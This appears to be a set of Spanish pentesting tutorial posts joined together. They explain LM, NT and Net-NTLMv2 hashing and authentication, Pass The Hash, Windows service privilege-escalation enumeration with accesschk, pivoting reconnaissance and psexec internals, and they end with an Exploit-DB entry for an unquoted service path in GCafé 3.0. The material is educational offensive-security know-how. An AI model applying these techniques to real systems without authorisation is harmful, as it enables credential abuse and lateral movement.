Paso 3. Estas dos cadenas se van a usar para generar dos claves DES (Data Encryption Standard). Una clave DES está formada por 64 bits (8 bytes). Sin embargo, siendo cada cadena de 7 bytes, cada una hará un total de 56 bits. Por lo que para completar la clave DES y llegar a 64 bits, tenemos que añadir un bit de paridad por cada 7 bits (Explicación del Bit de Paridad y Explicación del Bit de Paridad en el cifrado DES).
Entonces, cada cadena la pasamos a binario y le añadimos un bit de paridad por cada 7 bits. Ahora mismo te ha podido explotar la cabeza, pero en la siguiente imagen verás mucho más claro el proceso:
Esto resulta en dos claves DES de 64 bits cada una, una correspondiente a la cadena «PASSWOR» y otra a la cadena «D123000«:
Aquí te puedes preguntar por qué, siendo un bit de paridad, hemos colocado solo ceros y no hemos evaluado si serían un 1, o un 0. Esto es porque aunque sí que es cierto que es un bit de paridad. Ocurren dos cosas:
- Al final dependerá si la implementación de DES tendrá en cuenta la paridad o no.
- El bit de paridad en este caso no afectará al proceso de cifrado, lo que conlleva lo mencionado en el punto 1, esta implementación no la tendrá en cuenta, por lo que se pone todo en cero. De hecho, puedes hacer la prueba calculando el hash LM manualmente cambiando en cada caso los bits de paridad, poniéndolo todo en cero y luego poniéndolo todo en uno, ya verás que no habrá diferencia en el resultado final.
Paso 4. Estas dos claves DES que hemos generado, las vamos a usar (cada una por separado) para encriptar el siguiente string en modo ECB:
- KGS!@#$%
Para ello, podemos usar esta calculadora online.
Tenemos que rellenar dos campos, el campo «Key» y el «Input Data«. En este caso, la calculadora espera ambos datos en hexadecimal, por lo que tenemos que pasarlo a ese formato.
- Procedimiento para la cadena «PASSWOR«:
De las dos claves que hemos calculado previamente, usaremos la clave correspondiente a esta cadena. Por lo que la pasamos a hexadecimal:
De la misma forma, el string a encriptar se trata de KGS!@#$% por lo que lo pasamos también a hexadecimal:
Con esto hecho, usamos la calculadora:
Obtenemos que:
PASSWOR = E52CAC67419A9A22
Ahora procedemos con la segunda cadena.
- Procedimiento para la cadena «D123000«:
Pasamos la segunda clave que generamos anteriormente a hexadecimal:
Y ahora volvemos a la calculadora, ya que el string a encriptar ya lo pasamos a hexadecimal antes, solo tenemos que cambiar el valor del campo «Key«:
Obtenemos que:
D123000 = 664345140A852F61
Por lo que, para obtener el hash LM, concatenamos el resultado de la primera cadena con el resultado de la segunda:
password123 = E52CAC67419A9A22664345140A852F61
Podemos comprobar que lo hemos hecho bien usando alguna web que crackee el hash LM:
Viendo como se crea un hash LM podemos ver sus desventajas y por qué se quedó en desuso. Por ejemplo, un mismo hash puede pertenecer a muchas contraseñas:
- password123
- PaSSwoRD123
- PassworD123
- PASSword123
Porque en el primer paso, todas se convierten en «PASSWORD123«. Por esa misma razón, en la imagen de arriba donde vemos que nos ha crackeado el hash, nos sale «PASSWORD123» y no «password123«, ya que es imposible saber exactamente la contraseña inicial.
Además, en caso de que se quisiese crackear, se podría dividir en dos, de esta forma solo habría que hacerle fuerza bruta a una cadena de 7 caracteres para averiguar una parte de la contraseña.
NTLM (Aka. NT Hash)
El hash NT (Aka. NTLM) es el algoritmo actualmente usado para almacenar las contraseñas en sistemas Windows, es la forma en la que se almacenan en la SAM. No hay que confundir este hash con el hash de autenticación de desafío/respuesta Net-NTLM que veremos más adelante.
Este hash es el hash que obtenemos cuando dumpeamos con mimikatz, de la misma forma, es el hash que necesitamos para hacer Pass The Hash.
Su generación es distinta y más sencilla que la de su predecesor:
Paso 1. La contraseña se pasa a Unicode (UTF-16LE).
Paso 2. Se usa el algoritmo MD4.
La operación completa para generar un hash NTLM sería: MD4(UTF-16LE(<contraseña>))
Ejemplo en python:
Comprobación con servicio online de generación de hash NTLM:
Como podemos comprobar, la generación de este hash es mucho más sencilla que la del hash LM.
Autenticación Net-NTLMv2
El hash Net-NTLMv2 es el hash que se genera en cada autenticación cliente/servidor, por lo que no es un hash que se almacene, sino que dependerá de cada comunicación.
Ya hemos visto como se forman los hashes LM y NT, por lo que ahora vamos a ver como funciona una autenticación a través de la red, y como es a través de este proceso del cual nos aprovechamos para hacer Pass The Hash.
Cuando se realiza una autenticación a Windows a través de la red, el proceso que se sigue es el siguiente:
A nivel de paquetes, se ve de esta forma:
Vamos a ir poco a poco, explicando cada paso para entender el proceso completo.
Para tener el control de la autenticación y no generar ruido innecesario en la red, vamos a usar un script en python.
Por último, para tenerlo claro:
- Cliente: 192.168.118.10
- Servidor: 192.168.118.128
Negotiation Request/Response
Primero de todo, iniciamos la negociación con el servidor SMB a través de las siguientes líneas de código:
#!/usr/bin/python3
from impacket.smbconnection import SMBConnection
myconnection = SMBConnection("sikumy","192.168.118.128")Esto corresponde a:
Y genera los paquetes:
Si nos fijamos, el cliente intenta iniciar una negociación usando el protocolo SMB, sin embargo, el servidor le responde con SMB2, para que negocie de nuevo usando este protocolo, por eso, encontramos 4 paquetes de Negociación cuando solo debería de haber dos:
- 1º Par de paquetes: Intento de negociación con SMB
- 2º Par de paquetes: Negociación con SMB2
Esta re-negociación ocurre porque por defecto, siempre se va a intentar utilizar la versión SMB más alta que soporte el cliente y el servidor.
Session Setup Request (Message Type 1)
Una vez se ha negociado los detalles de la autenticación, el cliente procede a autenticarse. Para iniciar el proceso, lo haremos añadiendo una nueva línea de código:
#!/usr/bin/python3
from impacket.smbconnection import SMBConnection
myconnection = SMBConnection("sikumy","192.168.118.128")
myconnection.login("sikumy", "sikumy123$!")Esta nueva línea iniciará todos los pasos restantes, volviendo al diagrama, iniciará los pasos 3, 4, 5, 6 en su respectivo orden:
Empezando por el primer «Session Setup Andx Request», este paquete contiene:
- La firma «NTLMSSP» (NTLMSSP identifier).
- Flags de negociación (indica opciones soportadas por el cliente, requiere la aceptación por parte del servidor).
- NTLM Message Type, el cual en este paquete es 1.
- El Message Type es básicamente una forma de identificar el paquete, puede ser 1, 2 o 3:
- Message Type 1: Paquete que contiene la lista de opciones soportadas por el cliente.
- Message Type 2: Además de contener la lista de opciones aceptadas por el servidor, contiene el «challenge«, también conocido como «nonce«.
- Message Type 3: Paquete que contiene información del cliente (incluyendo dominio y usuario). También contiene la respuesta al «challenge».
- El Message Type es básicamente una forma de identificar el paquete, puede ser 1, 2 o 3:
En la imagen podemos observar el contenido mencionado arriba.
Session Setup Response (Message Type 2)
A la petición enviada arriba, le sigue la respuesta por parte del servidor:
El servidor responde con:
- La firma «NTLMSSP» (NTLMSSP identifier) de nuevo.
- NTLM Message Type, en este caso, podemos ver como es 2.
- Nombre del servidor e información sobre él, gracias a la flag «NTLMSSP_NEGOTIATE_TARGET_INFO» que habíamos enviado en la petición.
- El challenge (16 bytes) (es una cadena aleatoria).
Session Setup Request (Message Type 3)
Ahora que tenemos el challenge, debemos demostrar que tenemos la contraseña del usuario, es decir, tenemos que demostrar que nuestras credenciales son válidas. Eso si, no tenemos que enviar ni la contraseña, ni el hash de la misma, a través de la red.
¿Cómo lo demostramos entonces?
Básicamente, la idea ahora es generar el hash NT de la contraseña que hemos introducido (sea o no correcta, ya que aún no han sido validadas por el servidor). Este hash NT generado es usado para encriptar el «challenge» que hemos recibido en la última respuesta.
El método de encriptado del challenge varía dependiendo de la versión NTLM (Aka. Net-NTLM) que se esté usando y los ajustes propios del servidor. En el caso de NTLMv2, la respuesta tendría la siguiente forma:
<usuario>::<dominio>:<challenge>:<challenge encriptado>:BLOB
Ejemplo de hash NTLMv2 (Aka. Net-NTLMv2):
Aquí hay que explicar a que nos referimos con «BLOB» y como generamos el «challenge encriptado». Para ello, vamos a ver el algoritmo NTLMv2:
- El cliente calcula el hash NT de la contraseña que ha introducido el usuario. Esto resulta en una cadena de 16 bytes.
- Ahora, la versión unicode del nombre del usuario en mayúsculas y la versión unicode del nombre del dominio (también puede ser el nombre del servidor) en mayúsculas se concatenan para formar el «target string» (TS).
- Con esto hecho, se usará el «target string» y el hash NT en el algoritmo HMAC-MD5, usando como «Key» el hash NT para obtener un hash NTLMv2 de 16 bytes.
- Ahora se crea, lo que se conoce como «BLOB», es básicamente un bloque compuesto por:
- 4 bytes –> firma BLOB (0x01010000)
- 4 bytes –> reservado (0x00000000)
- 8 bytes –> marca de tiempo (64 bits que representa el número de décimas de microsegundo desde el 1 de enero de 1601 hasta la fecha actual)
- 8 bytes –> aleatorio
- 4 bytes –> Debe de ser 0x00000000.
- Variable, formado por 2 bytes:
- Nombre de Dominio NetBIOS (4 bits) –> 0x0002
- Nombre del servidor NetBIOS (4 bits) –> 0x0001
- Nombre DNS del Dominio (4 bits) –> 0x0004
- Nombre DNS del Servidor (4 bits) –> 0x0003
- Ver documentación oficial de la variable.
- 4 bytes –> relleno (bytes random)
- Ahora, se concatena el «challenge» y el bloque «BLOB», esto, se le pasa al algoritmo HMAC-MD5. Se usará como «Key» el hash NTLMv2 que generamos en el paso 3. Esto generará un hash NTLMv2 que será la primera parte de la respuesta, es decir, lo siguiente:
El resto del hash Net-NTLMv2 corresponde al propio BLOB:
Documentación Oficial de NTLMv2.
Por lo que en conclusión, la respuesta por parte del cliente a la petición donde el servidor nos envía el challenge es:
NTLMv2 = HMAC-MD5((challenge + blob), NTLMv2 como Key)
Respuesta = NTLMv2 + BLOB
Que corresponde con:
Podemos ver como es el mismo valor, únicamente la respuesta NTLMv2 no tiene los dos puntos que separan el NTLMv2 y el BLOB en la segunda imagen.
Session Setup Response
Una vez el servidor recibe la respuesta anterior, hace el mismo proceso, pero con el hash que ya tiene almacenado del propio usuario. Cuando lo calcula, compara la salida que ha generado con la salida que nosotros (el cliente) le hemos enviado. Si los hashes NT con los que se han hecho todo el proceso, son distintos, darán un output totalmente distinto, lo que significará que el usuario puso una contraseña errónea, de lo contrario, serán iguales y la autenticación será válida.
En la respuesta, podemos comprobar si la autenticación ha tenido éxito o no:
Si las credenciales fueran inválidas obtendríamos esta respuesta:
Te puedes preguntar, como calcula el servidor su propia respuesta NTLMv2. Ya que, algunos parámetros usados para generar esta respuesta siempre son dinámicos, como por ejemplo, la marca de tiempo (timestamp).
Por lo que si yo genero una respuesta NTLMv2 y luego el servidor genera otra para verificar si son iguales, es imposible que lo sean.
¿Qué ocurre entonces?
La solución es sencilla, la respuesta NTLMv2 que nosotros como cliente enviamos, contiene el BLOB en texto plano, por lo que el servidor coge los parámetros de este BLOB y los usa para generar su propia respuesta. De esta forma, la única variable posible y de lo que todo dependerá será del hash NT.
- Se usan hashes NT iguales = Autenticación válida
- Se usan distintos = Autenticación inválida
En conclusión, como podemos comprobar, la contraseña en texto claro no se ha usado en ningún momento de la autenticación salvo para generar su hash NT. Por lo que teniendo el hash NT es exactamente lo mismo que si tuviésemos la contraseña en texto claro (a nivel práctico), por eso, Pass The Hash existe y funciona.
Autenticación NTLM en un Directorio Activo
Si estamos en un directorio activo, cambia un poco la autenticación, ya que si estamos intentando autenticarnos en un equipo, corresponde al Domain Controller (DC), validar las credenciales.
Por lo que el proceso de autenticación sería el siguiente:
En la petición RPC NetLogon, el servidor enviará al Controlador de Dominio el:
- Usuario
- Challenge
- Respuesta al Challenge (Challenge encriptado)
El controlador de dominio verificará si la autenticación es válida usando el hash NT almacenado en el archivo NTDS.
Lo que determine el controlador de dominio será enviado en la respuesta RPC NetLogon al servidor, y posteriormente a nosotros.
Punto de vista del Pentesting
Hemos visto mucha teoría en este post. Teoría que es interesante saber para conocer realmente que ocurre detrás de las técnicas que empleamos. Para acabar, un mini recordatorio sobre para qué nos puede servir cada hash de cara al pentesting:
- Hash NT –> Podemos usarlo tanto para realizar Pass The Hash como para intentar crackearlo.
- Hash Net-NTLM –> Podemos intentar crackearlo, pero no lo podemos usar para Pass The Hash.
- Este tipo de autenticación se puede usar para realizar ataques como el SMB Relay.
Referencias
- Windows authentication attacks – part 1
- Understanding NTLM Authentication Step by Step
- The NTLM Authentication Protocol and Security Support Provider
- What is the difference between NULL, ‘\0’ and 0?
- Bit de paridad: para qué sirve, cómo funciona
- How should I create my DES key? Why is an 7-character string not enough?
- NTLM Terminology
- Mechanics of User Identification and Authentication – Fundamentals of Identity Management
- NTLM v2: NTLMv2_CLIENT_CHALLENGE
- AV_PAIR
- NTLM/LM Hashes on Domain Controller
- Disabling NTLM v1 On Windows Computer
- Practical guide to NTLM Relaying in 2017
- Microsoft NTLM
Los servicios en Windows (anteriormente conocidos como servicios NT), permiten crear acciones/programas de larga ejecución que se ejecutan en sesiones propias de Windows. Los servicios pueden iniciarse automáticamente al encender el equipo, pueden detenerse o iniciarse manualmente, y, en cualquier caso, no muestran una interfaz gráfica, todo se hace en segundo plano.
Los servicios se pueden ejecutar en el contexto de otro usuario distinto al o los que hayan iniciado sesión en el equipo.
Con esta última frase, pensándolo desde la perspectiva de un atacante ya nos puede llamar la atención esta característica de Windows de cara a una posible escalada de privilegios. Si un servicio está mal configurado y lo ejecuta por ejemplo el usuario «nt authority\system», quizás podemos aprovecharnos para inyectar acciones suplantando a este usuario (o el usuario que lo ejecute).
Índice:
- Tipos de Escaladas de Privilegios
- Enumeración usando accesschk.exe
- Como reiniciar servicios
- Referencias
Tipos de Escaladas de Privilegios
Existen diversas escaladas de privilegios conocidas que están relacionadas con los servicios de Windows:
- Insecure Service Permissions
- Unquoted Service Path
- Weak Registry Permissions
- Insecure Service Executables
- DLL Hijacking
Todas estas posibles escaladas están basadas en malas configuraciones que se pueden encontrar en el equipo Windows. Ahora bien, ninguna de estas escaladas servirá aunque exista esa mala configuración, si no tenemos la capacidad de:
- Iniciar, detener o reiniciar el servicio
- Reiniciar el equipo Windows (suponiendo que el servicio vulnerable se inicie al iniciar el equipo)
Por lo que no hay que caer en la trampa de que si encontramos cualquiera de estas posibles malas configuraciones, podremos aprovecharlas. Todo dependerá de si somos capaces de realizar cualquiera de las dos últimas acciones mencionadas.
Ahora vamos a ver como podemos enumerar los permisos, configuraciones de un servicio, archivo y directorio.
Enumeración usando accesschk.exe
Accesschk es una herramienta de línea de comandos que pertenece al kit de tools de Windows Sysinternals, por lo que es del propio Microsoft. Te permite ver qué tipo de accesos tienen usuarios o grupos específicos a recursos como archivos, directorios, claves del Registro, objetos globales y servicios Windows. Se puede descargar desde la documentación oficial.
La estructura de accesschk es la siguiente:
accesschk.exe [opciones] [usuario o grupo] <nombre de objeto>
Sabiendo esto, vamos a ver algunos comandos concretos que nos pueden ser útiles:
- Ver permisos que tiene cierto usuario sobre un servicio:
accesschk.exe /accepteula -ucqv <usuario> <servicio>
Explicación de argumentos:
- /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
- u –> Indicamos que no enseñe los errores si los hubiese
- c –> Indicamos que el
<nombre de objeto>representa un servicio de Windows. - q –> Quitamos el banner de la herramienta del output
- v –> Típico verbose de cualquier herramienta (mostrar información más detallada)
En este ejemplo podemos ver como el usuario «user», tiene la capacidad en el servicio «daclsvc» de:
- Editar la configuración del servicio
- Iniciar el servicio
- Detener el servicio
De esta forma, identificaríamos permisos los cuales nos pueden venir bien saber para determinar alguna posible explotación.
- Ver permisos de escritura en un directorio:
accesschk.exe /accepteula -uwdq <directorio>
Explicación de argumentos:
- /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
- u –> Indicamos que no enseñe los errores si los hubiese
- w –> Enseña solo los permisos que contengan escritura.
- d –> Indicamos que el objeto es una carpeta. Y que nos interesa los permisos de este objeto y no los de su contenido.
- q –> Quitamos el banner de la herramienta del output
De esta manera, podemos ver como todos los usuarios («BUILTIN\Users») tienen capacidad de escritura sobre el directorio especificado, lo que nos podría servir para aprovecharnos de alguna mala configuración.
- Comprobar los permisos de un registro:
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
Explicación de argumentos:
- /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
- u –> Indicamos que no enseñe los errores si los hubiese.
- v –> Típico verbose de cualquier herramienta (mostrar información más detallada)
- w –> Enseña solo los permisos que contengan escritura.
- q –> Quitamos el banner de la herramienta del output.
- k –> Indicamos que el
<nombre de objeto>representa un registro
En este caso, gracias a accesschk podemos saber que el grupo «INTERACTIVE» tiene permisos de escritura en el registro. En este grupo se encuentran todos los usuarios que alguna vez se han logueado en la máquina de forma local, por lo que es muy probable que cualquier usuario pertenezca a este grupo.
Sabiendo esto, en este caso hemos podido comprobar que tenemos capacidad de escritura sobre este registro, lo que nos podría ser de utilidad.
OJOO, como curiosidad, todos los servicios en Windows, se encuentran en la ruta:
HKLM\System\CurrentControlSet\Services\<nombre del servicio>
- Ver si tenemos permisos de escritura sobre un ejecutable:
accesschk.exe /accepteula -quvw <ejecutable>
Explicación de argumentos:
- /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
- q –> Quitamos el banner de la herramienta del output.
- u –> Indicamos que no enseñe los errores si los hubiese.
- v –> Típico verbose de cualquier herramienta (mostrar información más detallada)
- w –> Enseña solo los permisos que contengan escritura.
De esta forma, podemos ver como todos los usuarios tienen capacidad de escritura sobre el archivo especificado. Lo que nos puede ser muy útil para sustituirlo y aprovecharnos de alguna manera.
Accesschk.exe es una herramienta muy útil para enumerar información que nos puede ser muy útil saber para los diferentes tipos de escaladas relacionadas con servicios de Windows. En cualquier caso, se verá mejor su uso práctico en cada post de las diferentes escaladas.
Como reiniciar servicios
Como se ha mencionado previamente, en todas las escaladas relacionadas con los servicios de Windows, un requisito infalible es la capacidad de iniciar, detener o reiniciar un servicio (sin contar el reiniciar directamente el equipo para un servicio que inicie al arrancar). Una vez ya sabemos que tenemos los privilegios para hacerlo, existen distintas formas para llevarlo a cabo:
- net
Podemos iniciar un servicio mediante:
net start <nombre del servicio>
De la misma forma, podemos pararlo con:
net stop <nombre del servicio>
También podemos usar net para listar todos los servicios que se estén ejecutando:
net start
- sc
Sc (Service Controller) es un programa de línea de comandos usado para la comunicación con el «Windows Service Controller and installed services».
Podemos iniciar un servicio con:
sc start <nombre del servicio>
Y pararlo con:
sc stop <nombre del servicio>
Como dato extra, con sc podemos:
–> Comprobar configuración actual del servicio:
sc qc <servicio>
Ejemplo:
–> Comprobar estado actual del servicio:
sc query <servicio>
- Powershell
Desde powershell podemos usar un cmdlet para reiniciar servicios:
Restart-Service <nombre servicio> -Force
De la misma forma, existen cmdlets para iniciar y detener un servicio:
–> Start-Service
–> Stop-Service
La sintaxis es sencilla: <cmdlet> <nombre del servicio>. Aunque también se puede usar el argumento -Name para referirse al servicio:
–> Start-Service -Name <nombre del servicio>
–> Stop-Service -Name <nombre del servicio>
Referencias
- Introducción a las aplicaciones de servicios de Windows
- Windows Privilege Escalation for OSCP & Beyond!
- Windows-PrivEsc-Setup
- Interactive group
- Windows Sysinternals Administrator’s Reference: Security Utilities
Cuando comprometemos un equipo, mientras lo enumeramos, es probable que veamos que tenga acceso a otros equipos o incluso redes, que nosotros no tenemos acceso directamente.
Esto quiere decir, que tendremos que usar el equipo comprometido como «máquina de salto», para poder tener acceso a redes internas y otros equipos. Este proceso se puede repetir de forma recursiva.
Ejemplo gráfico:
En esta imagen como vemos, de toda una red empresarial nosotros solo tenemos acceso a un equipo, el cual actúa de frontera entre la red interna y externa. Es a través de él, por el cual ejecutamos un pivoting para saltar a otro equipo, y repetimos el proceso, hasta llegar como vemos a un servidor crítico.
Básicamente, la metodología completa es la siguiente:
- Pivoting
- Enumeración Post-Explotación
- Explotación
- Vuelta al punto 1
En este aspecto, una vez hemos comprometido un activo, la enumeración para poder darnos cuenta de la existencias de otras redes o equipos variará en cada caso, sin embargo, si que hay ciertos patrones que se mantienen de forma general que podemos seguir.
Podemos empezar comprobando la caché ARP del equipo en busca de nuevas IPs, tanto en windows como en linux se puede ver mediante el comando arp -a.
Posteriormente, podemos echar un vistazo a los archivos hosts, la ruta de este archivo es la siguiente:
- Linux –>
/etc/hosts - Windows –>
C:\Windows\System32\drivers\etc\hosts
En linux quizás también podría ayudarnos el archivo /etc/resolv.conf para descubrir servidores DNS. Una alternativa a este archivo es ejecutar el comando: nmcli dev show. Lo equivalente en windows sería usar el comando ipconfig /all.
También podríamos comprobar en Linux la tabla de routing, con el comando route -n o ip route. O ver si ya hay alguna conexión establecida con algún host con el comando netstat -auntp.
Por último, no olvidar comprobar las distintas interfaces de red que tenga el equipo:
- Linux –>
ifconfig,ip -4 addr,/proc/net/fib_trie - Windows –>
ipconfig
En este punto, ya la enumeración adicional dependerá de cada caso, pero en lineas generales, ésto es lo común.
Una vez tenemos la información de a que equipos o red queremos llegar, la acción de hacer pivoting se puede llevar a cabo usando:
- Herramientas preinstaladas en el equipo comprometido.
- En caso de no tener, usar binarios estáticos de herramientas.
La diferencia entre un binario estático y uno dinámico es la compilación. La mayoría de programas hacen uso de librerías externas para su funcionamiento. El binario estático trae con la compilación estas librerías que requiere el programa, sin embargo, un binario dinámico las requiere del sistema operativo, esto quiere decir que necesitas que el sistema operativo tengas esas librerias, ya que sino no funcionará. Por lo que el binario estático te soluciona posibles problemas de dependencias.
- Scripting.
- Proxies.
Los proxies deben ser la última opción a usar, ya que éstos además de ser un poco lentos, suelen tener limitaciones sobre el tipo de tráfico que pueden transmitir, es decir, que por ejemplo, con un proxy TCP, no vas a poder hacer uso de tráfico UDP.
Ésto es todo en cuanto a que podemos usar para ejecutar pivoting.
Volviendo a la idea general del pivoting, hemos comentado mucho que su fin es acceder a otros equipos los cuales no tenemos accesos porque no están en nuestra red. Sin embargo, éste no es el único uso, el pivoting puede servirnos incluso para un equipo el cual ya tenemos acceso directamente.
Por ejemplo, puede que en ciertas ocasiones, un equipo no nos muestre todo los puertos abiertos que de verdad tiene, o que nos bloquee de distintas formas. Podemos en estos casos intentar hacer lo mismo pero a través de otro equipo de la misma red. Quien sabe si de la forma que está configurado, tiene una lista blanca de a que equipos bloquear o no X cosas.
Saber hacer pivoting también nos puede servir para mostrar externamente o tunelizar puertos que solo están abiertos de forma interna en la máquina, para así, poder interactuar desde fuera o desde nuestro equipo directamente.
Por eso mismo, el pivoting no solo es útil para acceder a otras redes, sino que también nos puede servir para interactuar con equipos de nuestra propia red.
En muchas ocasiones, ya sea por explotación, persistencia o ambas. Se usan programas como psexec, smbexec, etc, para ejecutar comandos en una máquina donde poseemos credenciales de una cuenta privilegiada.
En todas estas ocasiones dependemos de dos cosas:
- Como ya se ha comentado, que la cuenta tenga privilegios en la máquina
- Que esté el puerto 445 abierto, es decir, SMB
Si se cumplen estos dos requisitos, se hace lo de siempre:
¡Y estamos dentro!
Pero claro, siendo SMB un protocolo para compartir archivos, impresoras, etc en una red, normalmente, de dispositivos windows, ¿como se consigue ejecutar comandos?
Como tal, para hacernos una idea podemos fijarnos en el output que nos deja psexec:
Según esto, los pasos son los siguientes:
- Solicitamos los recursos compartidos
- Encontramos un recurso compartido escribible, ADMIN$ en este caso
- Subimos el archivo ‘wJvVBmZT.exe’
- Abrimos el SVCManager (Administrador de Control de Servicios de Windows)
- Creamos el servicio ‘rarj’
- Iniciamos el servicio ‘rarj’
Tomando esto como referencia, vamos a verlo en detalle.
Primeramente, para establecer la conexión SMB se lleva a cabo el siguiente procedimiento:
Una vez establecida la conexión, se hace la petición para listar los recursos compartidos. Se hace con la intención de encontrar algun recurso que sea escribible (si no hay ninguno con capacidad de escritura no podremos hacer nada).
Cuando ya tenemos la conexión establecida y un recurso donde podamos escribir. La idea es subir el archivo que originalmente se llama PSEXECVC.exe, obviamente si se sube con este nombre es un poco sospechoso, por lo que se le renombra a un nombre totalmente aleatorio, como es en este caso, ‘wJvVBmZT.exe‘.
Este archivo se sube al recurso compartido ADMIN$ (un recurso administrativo en este caso), el cual corresponde con la ruta C:\Windows. Este paso ya requiere de una cuenta privilegiada, por lo que ya podemos ir entendiendo el porqué se requiere de una cuenta de este tipo para ejecutar comandos (no es la única acción que requiere de estos privilegios)
Una vez subido, hay que editar los registros en el servidor remoto, para que el servicio sea instalado. Para poder hacer esto y los siguientes pasos, hay que dejar claro un par de conceptos, MSRPC y Named Pipes (puede que éste último te suene de su uso en la explotación del Eternal Blue).
MSRPC (Microsoft Remote Procedure Call – Versión modificada de su antecesor, DCE/RPC) es un protocolo usado para crear un modelo cliente/servidor, se implantó en Windows NT (una de las primeras versiones de Windows), con el tiempo, se extendió llegando a que dominios enteros de Windows Server se basasen en este protocolo.
MSRPC es un marco de comunicación entre procesos, y permite provocar que se ejecute un procedimiento/subrutina en otro equipo de una red. Desde el punto de vista del equipo de la red, se ejecuta como si se ejecutara en local.
Para cualquier solicitud de MSRPC se establece una comunicación previa por SMB:
Por lo que a MSRPC se le añade la capa de seguridad propia de SMB.
Dejando claro esto, tenemos que quedarnos con que MSRPC es un protocolo que sirve para ejecutar procedimientos/subrutinas en otros equipos. Se ejecuta de forma distinta dependiendo de la situación:
Como vemos, por SMB, para que MSRPC pueda llevar a cabo sus acciones, hace uso de los Named Pipes, y es aquí donde lo vamos a introducir ya que es el segundo concepto que nos interesa.
Los named pipes (tuberias con nombre) son una conexión lógica, similar a una conexión TCP, entre un cliente y un servidor que participan ya sea en una conexión CIFS (Common Internet File System) o SMB (version 1, 2 o 3).
El nombre del pipe sirve como punto final al igual que lo sirve un puerto en una conexión TCP, por ello, se le puede denominar named pipe end point.
Muchos protocolos se basan en los named pipes, ya sea directa o indirectamente a través de MSRPCE (MSRPC Extensions). La ventaja de usarlos, es que aislan totalmente el protocolo usado en la capa superior, del transporte elegido (imagen superior), conllevando también el uso de los protocolos de autenticación (añadiendo la capa de seguridad de estos).
Los clientes SMB acceden a los Named Pipe End Point utilizando el recurso compartido «IPC$». Este recurso solo permite operaciones de named pipes y peticiones del servicio de archivos distribuido (Distributed File System – DFS) de Microsoft.
Con todo esto, volviendo al tema, se crea las entradas de registros correspondientes en el servidor para la creación e instalación del servicio que ejecute el archivo exe subido. Si nos fijamos en la imagen de psexec:
Podemos ver como a la hora de crear el servicio, también se crea con un nombre aleatorio, al igual que el archivo exe. Esto de cara a no llamar tanto la atención si el usuario listase los servicios de la máquina.
Posteriormente, se inicia el servicio. El servicio iniciado puede usar cualquier protocolo de red para recibir y ejecutar comandos.
Cuando finaliza, el servicio puede ser desinstalado (removiendo las entradas de registros y eliminando el archivo exe)
Todas estas acciones de crear servicio, iniciarlo, eliminarlo, se consiguen gracias al uso de MSRPC, el cual hace también uso de los Named Pipes. Además, estas acciones requieren de acceso privilegiado, por ello el famoso Pwn3d! de CrackMapExec cuando se hace uso de una cuenta privilegiada, lo que hace CME es confirmar que todo este proceso se puede llevar a cabo gracias a los privilegios de la cuenta.
Entonces, en resumen:
- Se copia el archivo exe malicioso al servidor SMB
- Se crean los registros correspondientes para la creación e instalación del servicio que ejecute el archivo exe
- Se inicia el servicio, ejecutando así, el exe
- Cuando acabamos, el servicio es desinstalado, removiendo sus respectivas entradas y el propio archivo exe
MSRPC y Named Pipes se ven implicados en los puntos 2, 3 y 4.
Y es a través de todo este procedimiento que a partir de lo que a primera vista SMB parece, un protocolo de compartir archivos, dispositivos etc. Podemos ejecutar comandos de sistema.
# Exploit Title: _GCafé 3.0 - 'gbClienService' Unquoted Service Path
# Google Dork: N/A
# Date: 2019-11-09
# Exploit Author: Doan Nguyen (4ll4u)
# Vendor Homepage: https://gcafe.vn/
# Software Link: https://gcafe.vn/post/view?slug=gcafe-3.0
# Version: v3.0
# Tested on: Windows 7, Win 10, WinXP
# CVE : N/A
# Description:
# GCafé 3.0 - Internet Cafe is a software that supports the management of public Internet access points
# PoC:
# wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
gbClientService gbClientService C:\Program Files\GBillingClient\gbClientService.exe Auto
#C:\>sc qc gbClientService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: gbClientService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\GBillingClient\gbClientService.exe
LOAD_ORDER_GROUP : GarenaGroup
TAG : 0
DISPLAY_NAME : gbClientService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\>